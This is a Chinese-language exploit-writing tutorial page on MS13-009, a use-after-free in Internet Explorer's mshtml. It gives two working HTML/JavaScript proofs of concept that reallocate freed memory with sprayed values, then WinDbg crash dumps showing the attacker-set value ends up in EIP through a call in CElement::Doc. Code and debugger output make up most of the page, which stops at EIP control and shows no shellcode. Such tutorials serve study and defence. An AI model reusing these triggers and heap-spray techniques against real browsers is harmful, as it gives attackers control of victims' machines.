返回介绍

MS13-009 EIP

发布于 2025-01-03 23:32:55 字数 4984 浏览 0 评论 0 收藏 0

如前面所提及,这里的主要焦点是如何克服编写 exp 过程中的各种阻碍,因此我不花时间来解释如何在堆上分配我们自己的对象。取而代之的是,我会使用一个公共可用的 exp 的片段。我们的新 POC 如下所示。

<!doctype html>
<html>
<head>
<script>
 
  var data;
  var objArray = new Array(1150);
  
  setTimeout(function(){
  document.body.style.whiteSpace = "pre-line";
  
  //CollectGarbage();
  
    for (var i=0;i<1150;i++){
      objArray[i] = document.createElement('div');
      objArray[i].className = data += unescape("%u0c0c%u0c0c");
    }
  
    setTimeout(function(){document.body.innerHTML = "boo"}, 100)
    }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>

再次注意到 CollectGarbage() 函数,用它来看看在分配对象内存时是否有显著的区别。让我们看看执行 POC 后,调试器中发生了什么。

0:019> g
(ee4.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00205fb0 ecx=024c0018 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0     nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070      mov   edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????

0:008> d ebx
00205fb0  18 00 4c 02 00 00 00 00-4d 20 ff ff ff ff ff ff  ..L.....M ......
00205fc0  51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  Q...............
00205fd0  00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00  ........R.......
00205fe0  00 00 00 00 00 00 00 00-00 00 00 00 50 f7 4c 02  ............P.L.
00205ff0  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00206000  78 0b a8 ea 00 01 0c ff-f8 1c 4e 02 70 57 20 00  x.........N.pW .
00206010  71 02 02 00 01 00 00 00-71 01 00 00 01 00 00 00  q.......q.......
00206020  80 57 20 00 48 5b 20 00-80 57 20 00 30 60 20 00  .W .H[ ..W .0` .

0:008> d ecx
024c0018  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0028  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0038  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0048  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0058  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0068  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0078  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0088  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................

0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01      mov   eax,dword ptr [ecx]    /// eax = 0x0c0c0c0c
3cf76982 8b5070      mov   edx,dword ptr [eax+70h]  /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2      call  edx            /// call DWORD 0x0c0c0c7c

这一串指令以调用 0x0c0c0c7c 处的 DWORD 值(=EIP)而结束,如果 0x0c0c0c7c 在内存中是一个有效的地址的话。记住我们的堆喷射将 shellcode 对齐到了 0x0c0c0c0c,下面我们会看到为什么这是必要的。只要记住我们可以设置 EIP 为任何想要的值,例如 0xaaaaaaaa 里的 DWORD。这可以由覆盖 EAX 为 0xaaaaaaaa-0x70=0xaaaaaa3a 来实现。你将在下面看到这个例子。

<!doctype html>
<html>
<head>
<script>
 
  var data;
  var objArray = new Array(1150);
  
  setTimeout(function(){
  document.body.style.whiteSpace = "pre-line";
  
  //CollectGarbage();
  
    for (var i=0;i<1150;i++){
      objArray[i] = document.createElement('div');
      objArray[i].className = data += unescape("%uaaaa%uaa3a"); //Will set edx to DWORD 0xaaaaaaaa [EIP]
    }
  
    setTimeout(function(){document.body.innerHTML = "boo"}, 100)
    }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>

让我们在调试器中证实我们会以覆盖 EIP 为[0xaaaaaaaa]而告终。

0:019> g
(8cc.674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=aaaaaa3a ebx=002060a8 ecx=024c00c8 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0     nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070      mov   edx,dword ptr [eax+70h] ds:0023:aaaaaaaa=????????

0:019> d ecx
024c00c8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00d8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00e8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00f8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0108  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0118  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0128  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0138  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文